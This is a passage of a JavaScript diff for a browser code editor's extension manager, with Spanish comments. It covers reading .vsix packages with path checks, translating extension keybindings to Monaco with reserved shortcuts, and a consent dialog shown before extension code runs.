14+export async function readVsixRaw(bytes, { maxEntry = RAW_MAX_ENTRY, maxTotal = RAW_MAX_TOTAL } = {}) {
15+ const { openZip } = await import('../ext/unzip.js');
16+ const zip = openZip(bytes, { maxEntry, maxTotal });
17+ const files = new Map();
18+ let total = 0;
19+ for (const name of zip.names) {
20+ if (!name.startsWith('extension/')) continue;
21+ const rel = name.slice('extension/'.length);
22+ if (!rel || /(^|\/)node_modules\//.test(rel) || /\.map$/i.test(rel)) continue;
23+ if (rel.startsWith('/') || rel.split('/').some(s => s === '..' || s === '.' || s === '')) continue;
24+ const data = await zip.read(name);
25+ total += data.length;
26+ files.set(rel, data);
27+ }
28+ return { files, bytes: total };
29+}
30+// La entrada `browser` del manifiesto como fichero del paquete
31+// («./dist/web/extension» → «dist/web/extension.js»), o null si no está.
32+export function browserEntry(manifest, names) {
33+ if (!manifest || typeof manifest.browser !== 'string') return null;
34+ const base = manifest.browser.replace(/^\.\//, '').replace(/\\/g, '/');
35+ for (const c of [base, base + '.js', base + '/index.js']) if (names.has(c)) return c;
36+ return null;
37+}
38+
39+// [[ruta, ArrayBuffer]] del código guardado de una extensión
40+export async function readCode(rec) {
41+ const paths = Array.isArray(rec?.code?.files) ? rec.code.files : [];
42+ const vals = await store.getFiles(paths.map(p => store.codeKey(rec.id, rec.version, p)));
43+ return paths.map((p, i) => {
44+ const v = vals[i];
45+ if (v === undefined) throw Object.assign(new Error('falta ' + p), { code: 'missing' });
46+ const buf = v instanceof ArrayBuffer ? v.slice(0) : ArrayBuffer.isView(v) ? v.buffer.slice(v.byteOffset, v.byteOffset + v.byteLength) : new TextEncoder().encode(String(v)).buffer;
47+ return [p, buf];
48+ });
49+}
50+
51+// Antes de encender el código de una extensión: el diálogo de consentimiento
52+// del panel (qué verá, que no tiene red, cuánto se baja).
53+async function confirmaTamano({ runtimeBytes, extensionBytes, name, rec }) {
54+ const { consent } = await import('./manage.js');
55+ return (await consent({ name, publisher: rec?.publisher, version: rec?.version, license: rec?.license, runtime: { bytes: runtimeBytes }, extensionBytes, mode: 'run' })) === 'code';
56+}
57+
58+const PARADO = { state: 'stopped', extensions: [], commands: [] };
59+
60+// h: lo que host.js comparte (ver allí): monaco, exts(), recarga(), emit(),
61+// paused, sinCodigo, listeners (los del panel) y uiTheme()
62+const KIND = { vs: 'light', 'hc-black': 'hc', 'hc-light': 'hc-light' };
63+const kindOf = uiTheme => KIND[uiTheme] || 'dark'; // claro, oscuro o contraste
64+export function attach(h) {
65+ let puente = null, cargando = null;
66+ const corren = () => (h.paused || h.sinCodigo ? [] : h.exts().filter(e => e.enabled && e.runs));
67+
68+ // Con alguna extensión con su código encendido, el recinto arranca (en
69+ // paralelo: ide.js crea el editor después y el puente lo espera); sin
70+ // ninguna, se desmonta. La lista se lee al sincronizar, no al pedirlo: dos
71+ // cambios seguidos (instalar dos, encender y apagar) no pueden dejar el
72+ // recinto con una lista vieja.
73+ function sync() {
74+ if (!corren().length && !puente && !cargando) return;
75+ (async () => {
76+ cargando ??= import('./bridge.js').then(m => {
77+ m.onChange(() => { for (const f of h.listeners) { try { f(); } catch { /* — */ } } });
78+ return m;
79+ });
80+ puente = await cargando;
81+ puente.setTheme(kindOf(h.uiTheme()));
82+ await puente.sync({ monaco: h.monaco, records: corren(), readCode });
83+ h.emit();
84+ })().catch(e => console.warn('[elffuss-ext] nivel 2:', e?.message || e));
85+ }
86+
87+ // Instalar con su código (el usuario ya aceptó): los bytes del paquete por
88+ // ruta, la entrada `browser`, encendida salvo que estuviera apagada antes, y
89+ // sus ajustes y su formateador si ya los tenía (una actualización).
90+ async function codeFiles(v, bytes, previo) {
91+ if (typeof v.manifest.browser !== 'string') throw Object.assign(new Error('sin código para navegador'), { code: 'nocode' });
92+ const raw = await readVsixRaw(bytes);
93+ const entry = browserEntry(v.manifest, raw.files);
94+ if (!entry) throw Object.assign(new Error('la entrada browser no está en el paquete'), { code: 'noentry' });
95+ const files = new Map();
96+ for (const [p, data] of raw.files) files.set(store.codeKey(v.id, v.version, p), data.buffer.slice(data.byteOffset, data.byteOffset + data.byteLength));
97+ return {
98+ files,
99+ fields: {
100+ code: { entry, files: [...raw.files.keys()], bytes: raw.bytes, manifest: v.manifest },
101+ runs: previo?.code ? !!previo.runs : true,
102+ settings: previo?.settings || {}, formatter: previo?.formatter || {},
103+ },
104+ };
105+ }
106+
107+ // Encender el código: la primera vez enseña cuánto se va a bajar ANTES de
108+ // bajar nada; cancelar no cambia nada.
109+ async function setRuns(id, on, { confirm = confirmaTamano } = {}) {
110+ const rec = h.exts().find(e => e.id === id);
111+ if (!rec) throw Object.assign(new Error('no instalada: ' + id), { code: 'missing' });
112+ if (on) {
113+ if (typeof rec.code?.manifest?.browser !== 'string') throw Object.assign(new Error('sin código para navegador'), { code: 'nocode' });
114+ const { runtimeInfo } = await import('./vendor.js');
115+ const info = await runtimeInfo();
116+ if (!info.available) throw Object.assign(new Error('nivel 2 no disponible: ' + info.reason), { code: 'x2-' + info.reason });
117+ if (!info.cached && !(await confirm({ runtimeBytes: info.bytes, extensionBytes: rec.code.bytes || 0, name: rec.displayName || rec.id, id, rec }))) return false;
118+ }
119+ await store.update(id, r => { r.runs = !!on; });
120+ await h.recarga();
121+ return true;
122+ }
123+
124+ // Ajustes (validados por el panel contra lo que la extensión declara) y
125+ // formateador por lenguaje: se aplican sin recargar.
126+ async function setSettings(id, settings) {
127+ if (!settings || typeof settings !== 'object' || Array.isArray(settings)) throw Object.assign(new Error('los ajustes son un objeto JSON'), { code: 'settings' });
128+ await store.update(id, r => { r.settings = structuredClone(settings); }, { mirror: false });
129+ await h.recarga();
130+ }
131+ async function setFormatter(id, lang, choice) {
132+ const rec = h.exts().find(e => e.id === id);
133+ if (!rec || typeof lang !== 'string' || !['extension', 'builtin'].includes(choice)) return;
134+ await store.update(id, r => { r.formatter = { ...(r.formatter || {}), [lang]: choice }; }, { mirror: false });
135+ await h.recarga();
136+ }
137+
138+ // ¿está disponible el nivel 2 aquí? (navegador, sitio, interruptor) y su tamaño
139+ const runtime = async () => (h.paused || h.sinCodigo ? { available: false, reason: 'url' } : (await import('./vendor.js')).runtimeInfo());
140+
141+ return {
142+ sync, codeFiles, setRuns, setSettings, setFormatter, runtime,
143+ setTheme: uiTheme => puente?.setTheme(kindOf(uiTheme)),
144+ state: () => (puente ? puente.state() : PARADO),
145+ commands: () => (puente ? puente.commands() : []),
146+ };
147+}
added web/js/ext2/keys.js +80 −0
@@ -0,0 +1,80 @@
1+// Atajos de teclado de las extensiones (contributes.keybindings) → Monaco.
2+// Solo valen con el foco en el editor, y NUNCA pisan los de Code (paleta,
3+// guardar, terminal, ir a símbolo), los de edición básica ni los del
4+// navegador (cerrar pestaña, recargar…): esos se saltan y se informa.
5+
6+const MOD = { CtrlCmd: 2048, Shift: 1024, Alt: 512, WinCtrl: 256 };
7+
8+// nombre de tecla de VS Code → KeyCode de Monaco 0.52
9+const NAMED = {
10+ enter: 'Enter', escape: 'Escape', backspace: 'Backspace', tab: 'Tab', space: 'Space', delete: 'Delete', insert: 'Insert',
11+ home: 'Home', end: 'End', pageup: 'PageUp', pagedown: 'PageDown', up: 'UpArrow', down: 'DownArrow', left: 'LeftArrow', right: 'RightArrow',
12+ '-': 'Minus', '=': 'Equal', '[': 'BracketLeft', ']': 'BracketRight', '\\': 'Backslash', ';': 'Semicolon', "'": 'Quote',
13+ '`': 'Backquote', ',': 'Comma', '.': 'Period', '/': 'Slash',
14+ numpad_multiply: 'NumpadMultiply', numpad_add: 'NumpadAdd', numpad_subtract: 'NumpadSubtract', numpad_decimal: 'NumpadDecimal',
15+ numpad_divide: 'NumpadDivide', numpad_separator: 'NUMPAD_SEPARATOR',
16+};
17+
18+function keyCode(monaco, name) {
19+ const KC = monaco.KeyCode;
20+ if (/^[a-z]$/.test(name)) return KC['Key' + name.toUpperCase()];
21+ if (/^[0-9]$/.test(name)) return KC['Digit' + name];
22+ if (/^f([1-9]|1[0-9])$/.test(name)) return KC[name.toUpperCase()];
23+ if (/^numpad[0-9]$/.test(name)) return KC['Numpad' + name.slice(6)];
24+ return NAMED[name] ? KC[NAMED[name]] : undefined;
25+}
26+
27+export const platformOf = (nav = globalThis.navigator) => (/Mac|iPhone|iPad/.test(nav?.platform || nav?.userAgent || '') ? 'mac' : /Win/.test(nav?.platform || nav?.userAgent || '') ? 'win' : 'linux');
28+
29+// «ctrl+shift+k» → número de Monaco; null si no se entiende
30+export function parsePart(monaco, part, platform) {
31+ const bits = part.toLowerCase().split('+').map(x => x.trim()).filter(Boolean);
32+ if (!bits.length) return null;
33+ const key = bits.pop();
34+ let mods = 0;
35+ for (const b of bits) {
36+ if (b === 'shift') mods |= MOD.Shift;
37+ else if (b === 'alt' || b === 'option') mods |= MOD.Alt;
38+ else if (b === 'ctrl') mods |= platform === 'mac' ? MOD.WinCtrl : MOD.CtrlCmd;
39+ else if (b === 'cmd' || b === 'meta' || b === 'win') mods |= platform === 'mac' ? MOD.CtrlCmd : MOD.WinCtrl;
40+ else return null;
41+ }
42+ const kc = keyCode(monaco, key);
43+ return kc === undefined ? null : (mods | kc);
44+}
45+
46+// entrada de contributes.keybindings → { keybinding, chord: [a, b?], when }
47+// | { skip: motivo (en inglés, para el registro), code } — el panel traduce
48+// el código (reserved, invalid, platform, chords, unknown)
49+export function parseKeybinding(monaco, kb, platform = platformOf()) {
50+ if (!kb || typeof kb !== 'object' || typeof kb.command !== 'string') return { skip: 'invalid', code: 'invalid' };
51+ const src = typeof kb[platform] === 'string' ? kb[platform] : typeof kb.key === 'string' ? kb.key : null;
52+ if (!src) return { skip: 'no key for this platform', code: 'platform' };
53+ const parts = src.trim().split(/\s+/);
54+ if (parts.length > 2) return { skip: 'more than two chords', code: 'chords', key: src };
55+ const chord = parts.map(p => parsePart(monaco, p, platform));
56+ if (chord.some(c => c === null)) return { skip: 'unknown key ' + src, code: 'unknown', key: src };
57+ const reserved = reservedChords(monaco);
58+ if (reserved.has(chord[0])) return { skip: 'reserved by Elffuss Code or the browser', code: 'reserved', key: src };
59+ const keybinding = chord.length === 2 ? monaco.KeyMod.chord(chord[0], chord[1]) : chord[0];
60+ const when = typeof kb.when === 'string' && kb.when.trim() ? kb.when.trim().slice(0, 2000) : null;
61+ return { keybinding, chord, key: src, when, command: kb.command, args: kb.args };
62+}
63+
64+let reservadas = null;
65+export function reservedChords(monaco) {
66+ if (reservadas) return reservadas;
67+ const KC = monaco.KeyCode;
68+ const C = MOD.CtrlCmd, S = MOD.Shift, A = MOD.Alt, W = MOD.WinCtrl;
69+ const set = new Set([
70+ // de Code: paleta, comandos, terminal, guardar, F1, ir a símbolo
71+ C | KC.KeyP, C | S | KC.KeyP, W | KC.Backquote, C | KC.Backquote, C | KC.KeyS, KC.F1, C | S | KC.KeyO,
72+ // edición básica
73+ C | KC.KeyZ, C | S | KC.KeyZ, C | KC.KeyY, C | KC.KeyX, C | KC.KeyC, C | KC.KeyV, C | KC.KeyA, C | KC.KeyF, C | KC.KeyH, C | A | KC.KeyF,
74+ // del navegador
75+ C | KC.KeyW, C | KC.KeyT, C | KC.KeyN, C | KC.KeyQ, C | KC.KeyL, C | KC.KeyR, C | S | KC.KeyT, C | S | KC.KeyN, C | S | KC.KeyW,
76+ ...[1, 2, 3, 4, 5, 6, 7, 8, 9].map(n => C | KC['Digit' + n]),
77+ ]);
78+ reservadas = set;
79+ return set;
80+}
added web/js/ext2/manage.js +413 −0
@@ -0,0 +1,413 @@
1+// Gestor de extensiones con código (nivel 2) dentro del panel de extensiones.
2+// Lo carga js/ext/panel.js solo cuando hace falta: al desplegar el detalle de
3+// un resultado, con el filtro «Funciona en Code», al pulsar «Instalar y
4+// ejecutar su código…» o si hay instalada alguna extensión con código. Con
5+// solo buscar no se carga.
6+//
7+// · lines(): qué funcionará, en el idioma de la interfaz (lo declarativo,
8+// el código en el recinto, «necesita Node», lo que no saldrá aquí y el
9+// resultado del censo);
10+// · consent(): el diálogo antes de ejecutar código, con los tamaños;
11+// · codeBlock(): los mandos de una extensión instalada con código;
12+// · classifyResults(): el filtro «Funciona en Code».
13+// Todo texto que viene de una extensión entra con textContent.
14+import { tx } from '../ext/i18n.js';
15+import './strings.js';
16+import { classify, loadTested, validateSettings, VSCODE } from './classify.js';
17+import { modal, loadCss } from './ui.js';
18+import { runtimeInfo } from './vendor.js';
19+import { uiLang } from '../i18n.js';
20+
21+// sus estilos (los mandos y las líneas de qué funcionará) viven en ext2.css
22+if (globalThis.document) loadCss();
23+
24+// ¿Puede arrancar aquí el código de una extensión (navegador, sitio,
25+// ?noext2, el interruptor del manifiesto)? Se mira una vez, al cargarse: las
26+// líneas, el botón y el filtro lo dicen ANTES de que nadie pulse nada.
27+let aqui = null;
28+const aquiListo = globalThis.document
29+ ? runtimeInfo().catch(() => ({ available: false, reason: 'manifest' })).then(r => (aqui = r))
30+ : Promise.resolve(null);
31+export const runtimeHere = () => aquiListo;
32+
33+const el = (tag, cls, txt) => { const e = document.createElement(tag); if (cls) e.className = cls; if (txt != null) e.textContent = txt; return e; };
34+const btn = (txt, cls = 'ghost') => { const b = el('button', cls, txt); b.type = 'button'; return b; };
35+export const mb = n => (Number(n || 0) / 1e6).toFixed(1).replace('.', uiLang() === 'es' ? ',' : '.') + ' MB';
36+
37+const WORKBENCH_LABEL = { views: 'views', viewsContainers: 'views', viewsWelcome: 'views', customEditors: 'custom editors', notebooks: 'notebooks',
38+ notebookRenderer: 'notebooks', walkthroughs: 'walkthroughs', debuggers: 'debugger', breakpoints: 'debugger', terminal: 'terminal', taskDefinitions: 'tasks',
39+ problemMatchers: 'tasks', authentication: 'sign-in', chatParticipants: 'chat', languageModelTools: 'chat', mcpServerDefinitionProviders: 'MCP servers',
40+ resourceLabelFormatters: 'file labels', submenus: 'menus', statusBarItems: 'status bar', remoteHelp: 'remote', typescriptServerPlugins: 'TypeScript plugins' };
41+const unavailableList = c => [...new Set(c.unavailable.map(k => tx('wb_' + (WORKBENCH_LABEL[k] || 'other').replace(/\W+/g, '_'))))].join(', ');
42+
43+const declList = d => [
44+ d.themes ? tx('themes', { n: d.themes }) : null, d.grammars ? tx('grammars', { n: d.grammars }) : null,
45+ d.snippets ? tx('snippetsN', { n: d.snippets }) : null, d.languages ? tx('languages', { n: d.languages }) : null,
46+].filter(Boolean).join(', ');
47+const codeList = c => [
48+ c.counts.commands ? tx('countCommands', { n: c.counts.commands }) : null, c.counts.keybindings ? tx('countKeys', { n: c.counts.keybindings }) : null,
49+ c.counts.settings ? tx('countSettings', { n: c.counts.settings }) : null,
50+].filter(Boolean).join(', ');
51+export function reasonsText(c) {
52+ return c.reasons.map(r => (r === 'engine' ? tx('reasonEngine', { v: VSCODE }) : r === 'proposals' ? tx('reasonProposals') : r === 'never' ? tx('reasonNever')
53+ : r === 'deps' ? tx('reasonDeps', { list: c.deps.missing.join(', ') }) : r === 'census' ? tx('reasonCensus') : r)).join(' · ');
54+}
55+function censusText(t) {
56+ if (t.state === 'active') {
57+ const parts = [tx('testedStarts')];
58+ if (t.commands) parts.push(tx('countCommands', { n: t.commands }));
59+ const kinds = Object.keys(t.providers || {});
60+ if (kinds.some(k => k.startsWith('format'))) parts.push(tx('testedFormatter'));
61+ const feats = kinds.filter(k => !k.startsWith('format'));
62+ if (feats.length) parts.push(tx('testedFeatures', { list: feats.slice(0, 6).join(', ') }));
63+ if (t.diagnostics) parts.push(tx('testedDiagnostics'));
64+ return parts.join(', ');
65+ }
66+ if (t.state === 'install-failed') return tx('testedTooBig', { e: t.error || '' }).trim();
67+ if (t.state === 'unsupported' || t.unsupported) return tx('testedUnsupported', { e: t.unsupported || t.error || '' }).trim();
68+ if (t.state === 'installed' || t.state === 'not-activated') return tx('testedNever');
69+ return tx('testedFails', { e: String(t.error || '').slice(0, 160) }).trim();
70+}
71+
72+// Las líneas de «qué funcionará» de una extensión (por su manifiesto). Son
73+// lo único que se dice de ella: sin un «nada se puede aplicar» del nivel 1 al
74+// lado de lo que sí corre (o de por qué no).
75+export function linesFor(c, runtime = aqui) {
76+ const out = [];
77+ if (c.hasDeclarative) out.push({ cls: 'ext-applies', t: tx('lineWorksNow', { list: declList(c.declarative) }) });
78+ if (c.runtime === 'browser') {
79+ if (!c.eligible) out.push({ cls: 'ext-ignored', t: tx('lineRunsNot', { why: reasonsText(c) }) });
80+ else if (runtime && !runtime.available) out.push({ cls: 'ext-ignored', t: tx('lineRunsNotHere', { why: tx('x2Unavail_' + runtime.reason) }) });
81+ else out.push({ cls: 'ext-x2-runs', t: tx(codeList(c) ? 'lineRuns' : 'lineRunsBare', { list: codeList(c) }) });
82+ if (c.eligible && c.warnings?.includes('proposals')) out.push({ cls: 'ext-ignored', t: tx('lineProposals') });
83+ } else if (c.runtime === 'node') {
84+ out.push({ cls: 'ext-ignored', t: tx('lineNode') + (c.hasDeclarative ? ' ' + tx('lineNodeDecl') : '') });
85+ } else if (!c.hasDeclarative) out.push({ cls: 'ext-nothing', t: tx('nothing') });
86+ if (c.unavailable.length) out.push({ cls: 'ext-ignored', t: tx('lineUnavailable', { list: unavailableList(c) }) });
87+ if (c.runtime === 'browser') {
88+ out.push(c.census ? { cls: c.census.state === 'active' ? 'ext-x2-tested' : 'ext-ignored', t: tx('lineTested', { text: censusText(c.census) }) }
89+ : { cls: 'ext-x2-untested', t: tx('lineNotTested') });
90+ }
91+ return out;
92+}
93+
94+// Las reglas del panel: `host` (js/ext/host.js) dice qué lenguajes trae
95+// Monaco de serie y qué gramáticas no se aplicarían.
96+async function opciones({ installedIds = new Set(), host = null } = {}) {
97+ const [tested, rt] = await Promise.all([loadTested(), aquiListo]);
98+ return {
99+ tested, installed: installedIds, canRun: !!rt?.available,
100+ builtinLanguage: host?.builtinLanguage || undefined, grammarSkippedFor: host?.grammarSkippedFor || undefined,
101+ };
102+}
103+export async function describe(manifest, opts = {}) {
104+ const c = classify(manifest, await opciones(opts));
105+ return { cls: c, lines: linesFor(c) };
106+}
107+
108+// el botón «Instalar y ejecutar su código…»: si sale y si está activo
109+export function codeButton(c, runtime = aqui) {
110+ if (!c || c.runtime !== 'browser') return { show: false };
111+ if (runtime && !runtime.available) return { show: true, disabled: tx('x2Unavail_' + runtime.reason) };
112+ if (!c.eligible) return { show: true, disabled: reasonsText(c) };
113+ return { show: true, disabled: null };
114+}
115+
116+// Lo que pesa el .vsix, ANTES de bajarlo: una petición HEAD a la misma
117+// dirección de descarga (la misma que verá Open VSX al instalarla).
118+export async function downloadSize(meta) {
119+ const url = meta?.files?.download;
120+ if (!url) return null;
121+ try {
122+ const r = await fetch(url, { method: 'HEAD', credentials: 'omit', referrerPolicy: 'no-referrer', signal: AbortSignal.timeout(30000) });
123+ const n = Number(r.headers.get('content-length'));
124+ return r.ok && Number.isSafeInteger(n) && n > 0 ? n : null;
125+ } catch { return null; }
126+}
127+
128+// ── consentimiento ──
129+// mode 'install' (desde la búsqueda), 'file' (.vsix suelto) o 'run' (ya
130+// instalada). Devuelve 'code', 'declarative' o null.
131+export async function consent({ name, publisher, version, license, cls, runtime, extensionBytes = null, downloadBytes = null, mode = 'install' }) {
132+ const body = [];
133+ body.push(el('p', 'x2-modal-text', tx('consentWho', { publisher: publisher || '?', v: version || '?', l: license || tx('noLicense') })));
134+ body.push(el('p', 'x2-modal-text', tx('consentBody')));
135+ const sizes = el('ul', 'x2-sizes');
136+ if (runtime && runtime.bytes) sizes.appendChild(el('li', null, tx('consentRuntime', { mb: mb(runtime.bytes) })));
137+ // el peso del .vsix llega de una petición HEAD: el diálogo no la espera, la
138+ // línea dice «mirando…» y se completa al llegar (y lo anuncia)
139+ const extLine = n => (n ? tx('consentExtDownload', { mb: mb(n) }) : extensionBytes ? tx('consentExt', { mb: mb(extensionBytes) }) : tx('consentExtUnknown'));
140+ const ext = el('li', null, mode === 'run' ? tx('consentExtAlready', { mb: mb(extensionBytes) })
141+ : typeof downloadBytes?.then === 'function' ? tx('consentExtChecking') : extLine(downloadBytes));
142+ if (mode !== 'run' && typeof downloadBytes?.then === 'function') {
143+ ext.setAttribute('aria-live', 'polite');
144+ downloadBytes.then(n => n, () => null).then(n => { if (ext.isConnected) ext.textContent = extLine(n); });
145+ }
146+ sizes.appendChild(ext);
147+ if (mode === 'file') sizes.appendChild(el('li', null, tx('consentFile')));
148+ body.push(sizes);
149+ if (cls && cls.unavailable.length) body.push(el('p', 'x2-note', tx('lineUnavailable', { list: unavailableList(cls) })));
150+ if (cls && cls.deps.missing.length) body.push(el('p', 'x2-note', tx('reasonDeps', { list: cls.deps.missing.join(', ') })));
151+ const buttons = [{ label: tx('x2Cancel'), value: null }];
152+ if (mode !== 'run' && cls && cls.hasDeclarative) buttons.push({ label: tx('consentDecl'), value: 'declarative' });
153+ buttons.push({ label: mode === 'run' ? tx('consentRunOnly') : tx('consentRun'), value: 'code', primary: true });
154+ return modal({ id: 'x2-consent', title: tx('consentTitle', { name }), body, buttons, cancelValue: null, focus: 0 });
155+}
156+
157+// ── instalar con su código, desde el panel ──
158+// El consentimiento (qué verá, que no tiene red, cuánto se baja) y, si se
159+// acepta, la instalación con su código (bajada de Open VSX, con su suma
160+// SHA-256 publicada obligatoria). `ui` es lo del panel: host() y sus aviso(),
161+// instala(src, botón, { withCode }), rotula(), inerte() y esInerte().
162+export function codeInstall(ui) {
163+ const disponible = async () => {
164+ const r = await ui.host().codeRuntime();
165+ if (!r.available) ui.aviso(tx('x2Unavail_' + r.reason), true);
166+ return r.available ? r : null;
167+ };
168+ // «Instalar y ejecutar su código…» en un resultado: solo si trae código para
169+ // el navegador; inerte (con el motivo) si no puede correr aquí
170+ function button(acc, it, c, instalada) {
171+ if (acc.querySelector('.ext-install-code')) return;
172+ const cb = codeButton(c);
173+ if (!cb.show || (instalada && instalada.version === it.version && instalada.code)) return;
174+ const b = btn('', 'ghost ext-install-code');
175+ ui.rotula(b, tx('btnInstallCode'), tx('btnInstallCodeNamed', { name: it.displayName }));
176+ if (cb.disabled) { ui.inerte(b, true); b.title = cb.disabled; }
177+ b.onclick = e => { e.stopPropagation(); if (!ui.esInerte(b)) fromResult(it, c, b); };
178+ acc.appendChild(b);
179+ // sin nada declarativo, «Instalar» a secas no haría nada (y si su código
180+ // tampoco puede correr aquí, se dice por qué)
181+ const inst = acc.querySelector('.ext-install');
182+ if (!c.hasDeclarative && inst && !ui.esInerte(inst)) { ui.inerte(inst, true); inst.title = cb.disabled || tx('errCodeonly'); inst.className = 'ghost ext-install'; }
183+ }
184+ async function fromResult(it, c, boton) {
185+ ui.aviso(null);
186+ const runtime = await disponible();
187+ if (!runtime) return;
188+ const meta = await (await import('../ext/openvsx.js')).metadata(it.namespace, it.name, it.version).catch(() => null);
189+ const v = await consent({ name: it.displayName, publisher: it.namespace, version: it.version, license: meta?.license, cls: c, runtime, extensionBytes: c.census?.bytes || null, downloadBytes: meta?.files?.download ? downloadSize(meta) : null });
190+ if (v === 'declarative') return ui.instala(it, boton.closest('.ext-actions')?.querySelector('.ext-install') || null);
191+ if (v === 'code') return ui.instala(it, boton, { withCode: true });
192+ }
193+ // una instalada solo con lo declarativo que trae código: se vuelve a bajar con él
194+ async function installed(rec) {
195+ const runtime = await disponible();
196+ if (!runtime) return;
197+ const meta = await (await import('../ext/openvsx.js')).metadata(rec.publisher, rec.name, rec.version).catch(() => null);
198+ if ((await consent({ name: rec.displayName, publisher: rec.publisher, version: rec.version, license: rec.license, cls: null, runtime, downloadBytes: meta?.files?.download ? downloadSize(meta) : null })) !== 'code') return;
199+ return ui.instala({ namespace: rec.publisher, name: rec.name, version: rec.version, displayName: rec.displayName }, null, { withCode: true });
200+ }
201+ // un .vsix suelto: su nombre, editor, versión y licencia se leen del propio
202+ // fichero (es local), y se dice que no hay suma publicada con la que comprobarlo
203+ async function file(f, { yaInstalada = false } = {}) {
204+ const r = await ui.host().codeRuntime();
205+ if (!r.available) { if (!yaInstalada) ui.aviso(tx('errCodeonly') + ' ' + tx('x2Unavail_' + r.reason), true); return; }
206+ let who = { name: f.name, publisher: '', version: '', license: '' };
207+ try {
208+ const { readVsix } = await import('../ext/vsix.js');
209+ const v = await readVsix(new Uint8Array(await f.arrayBuffer()), { lang: uiLang() });
210+ who = { name: v.displayName || v.name || f.name, publisher: v.publisher, version: v.version, license: v.license };
211+ } catch { /* el instalador dirá qué le pasa al fichero */ }
212+ if ((await consent({ ...who, cls: null, runtime: r, extensionBytes: f.size, mode: 'file' })) !== 'code') { if (!yaInstalada) ui.aviso(tx('cancelled')); return; }
213+ return ui.instala(f, null, { withCode: true });
214+ }
215+ return { button, installed, file };
216+}
217+
218+// ── filtro «Funciona en Code»: clasifica una página de resultados ──
219+// Cada manifiesto se pide una vez (4 a la vez) y se guarda por id@versión.
220+export async function classifyResults(items, { ovsx, store, installedIds = new Set(), host = null, signal, onEach = () => {} } = {}) {
221+ const opts = await opciones({ installedIds, host });
222+ const out = new Map();
223+ let i = 0;
224+ const one = async it => {
225+ const key = `${it.namespace}.${it.name}@${it.version}`.toLowerCase();
226+ let manifest = null;
227+ try { manifest = await store.getMeta('manifest:' + key); } catch { /* sin caché */ }
228+ if (!manifest) {
229+ try {
230+ const meta = await ovsx.metadata(it.namespace, it.name, it.version, { signal });
231+ manifest = await ovsx.manifest(meta, { signal });
232+ if (manifest && JSON.stringify(manifest).length < 512 * 1024) store.setMeta('manifest:' + key, manifest).catch(() => {});
233+ } catch (e) {
234+ if (e?.name === 'AbortError') throw e;
235+ out.set(key, null); // no se pudo comprobar: se enseña sin filtrar
236+ onEach(it, null);
237+ return;
238+ }
239+ }
240+ const c = classify(manifest, opts);
241+ out.set(key, c);
242+ onEach(it, c, manifest);
243+ };
244+ const workers = Array.from({ length: Math.min(4, items.length) }, async () => { while (i < items.length) await one(items[i++]); });
245+ await Promise.all(workers);
246+ return out;
247+}
248+
249+// ── mandos de una extensión instalada con código ──
250+const STATE_KEY = { active: 'stateRunning', activating: 'stateStarting', installed: 'stateWaiting', error: 'stateError', stopped: 'stateStopped', unsupported: 'stateUnsupported' };
251+// por qué un atajo no se ató (keys.js y commands.js dan el código)
252+const KEY_SKIP = new Set(['reserved', 'invalid', 'platform', 'chords', 'unknown']);
253+// por qué el recinto no arrancó o se paró (bridge.js, vendor.js, frame.js dan
254+// el código; su mensaje es técnico y no va en el idioma de la interfaz)
255+const NO_DISPONIBLE = new Set(['site', 'browser', 'off', 'url', 'manifest']);
256+const FALLOS = new Set(['network', 'integrity', 'timeout', 'editor', 'violations', 'fatal', 'navigated', 'csp']);
257+export const isRuntimeError = e => !!e && (NO_DISPONIBLE.has(e.code) || FALLOS.has(e.code) || e.code === 'disabled');
258+export function runtimeErrorText(e) {
259+ const code = e?.code === 'disabled' ? 'off' : String(e?.code || '').replace(/^x2-/, '');
260+ if (NO_DISPONIBLE.has(code)) return tx('x2Unavail_' + code);
261+ return tx('stateRuntime', { e: tx('x2Err_' + (FALLOS.has(code) ? code : 'other'), { file: e?.file ? ` (${e.file})` : '', code: code || '?' }) });
262+}
263+export function codeBlock(rec, { host, onGetCode, onMessage = () => {}, register = () => {} }) {
264+ const box = el('div', 'ext-x2');
265+ box.dataset.ext = rec.id;
266+ const head = el('div', 'ext-x2-head');
267+ const label = el('span', 'ext-x2-label', tx('codeHead') + ' ');
268+ const st = el('span', 'ext-x2-state');
269+ st.setAttribute('role', 'status');
270+ label.appendChild(st);
271+ head.appendChild(label);
272+ const hasCode = !!rec.code;
273+ // un botón de acción («Apagar el código», «Ejecutar código»): su nombre dice
274+ // lo que hará, sin aria-pressed (un conmutador no cambia de nombre)
275+ const toggle = btn(hasCode && rec.runs ? tx('stopCode') : hasCode ? tx('runCode') : tx('getCode'), 'ghost ext-x2-run' + (hasCode && rec.runs ? ' on' : ''));
276+ toggle.dataset.k = 'x2run';
277+ toggle.setAttribute('aria-label', tx(hasCode && rec.runs ? 'stopCodeNamed' : 'runCodeNamed', { name: rec.displayName }));
278+ if (!hasCode && rec.source !== 'open-vsx') { toggle.setAttribute('aria-disabled', 'true'); toggle.title = tx('getCodeFile'); }
279+ toggle.onclick = async () => {
280+ if (toggle.getAttribute('aria-disabled') === 'true') return;
281+ toggle.setAttribute('aria-disabled', 'true');
282+ try {
283+ if (!hasCode) { await onGetCode(rec); return; }
284+ const on = !rec.runs;
285+ const runtime = on ? await host.codeRuntime() : null;
286+ if (on && !runtime.available) { onMessage(tx('x2Unavail_' + runtime.reason), true); return; }
287+ const ok = await host.setRuns(rec.id, on, {
288+ confirm: async info => (await consent({ name: rec.displayName, publisher: rec.publisher, version: rec.version, license: rec.license, cls: null, runtime: { bytes: info.runtimeBytes }, extensionBytes: info.extensionBytes, mode: 'run' })) === 'code',
289+ });
290+ if (ok === false) onMessage(tx('cancelled'));
291+ } catch (e) { onMessage(isRuntimeError(e) || /^x2-/.test(e?.code || '') ? runtimeErrorText(e) : e, true); }
292+ finally { toggle.removeAttribute('aria-disabled'); }
293+ };
294+ head.appendChild(toggle);
295+ box.appendChild(head);
296+ const dyn = el('div', 'ext-x2-dyn');
297+ box.appendChild(dyn);
298+
299+ if (hasCode) {
300+ // ajustes (JSON), validados contra lo que declara la extensión
301+ const d = el('details', 'ext-x2-settings');
302+ const s = el('summary', null, tx('settingsH'));
303+ s.dataset.k = 'x2settings';
304+ const ta = el('textarea', 'ext-x2-json');
305+ ta.dataset.k = 'x2json';
306+ ta.spellcheck = false;
307+ ta.rows = 4;
308+ ta.setAttribute('aria-label', tx('settingsFor', { name: rec.displayName }));
309+ ta.value = JSON.stringify(rec.settings || {}, null, 2);
310+ const save = btn(tx('settingsSave'));
311+ save.dataset.k = 'x2save';
312+ const msg = el('div', 'ext-x2-msg');
313+ msg.setAttribute('role', 'status');
